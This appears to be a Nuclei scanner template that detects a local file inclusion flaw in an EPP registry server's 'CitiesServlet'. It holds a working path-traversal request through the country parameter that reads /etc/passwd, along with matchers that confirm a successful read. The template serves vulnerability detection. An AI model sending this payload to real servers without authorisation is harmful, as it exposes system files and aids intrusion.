id: epp-server-lfi

info:
  name: EPP Server - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    servlet called "CitiesServlet" that handles HTTP GET requests, so the user-provided input, obtained from the country parameter, is directly concatenated with the "/cities/cities_" string to form the fileName, This means an attacker can manipulate the country parameter and potentially access arbitrary files on the server's file system
  reference:
    - https://hackcompute.com/hacking-epp-servers/
  metadata:
    max-request: 1
  tags: epp,cocca,registry,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cities?country=/../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b456713014b42f3982f9d9feee319e8027489581b2cbec2d09466ee2c105645d022100da63026103582d7e70c5a43e36b6f1c3e1167839ba567d0493a2bc645975172a:922c64590222798bb761d5b6d8e72950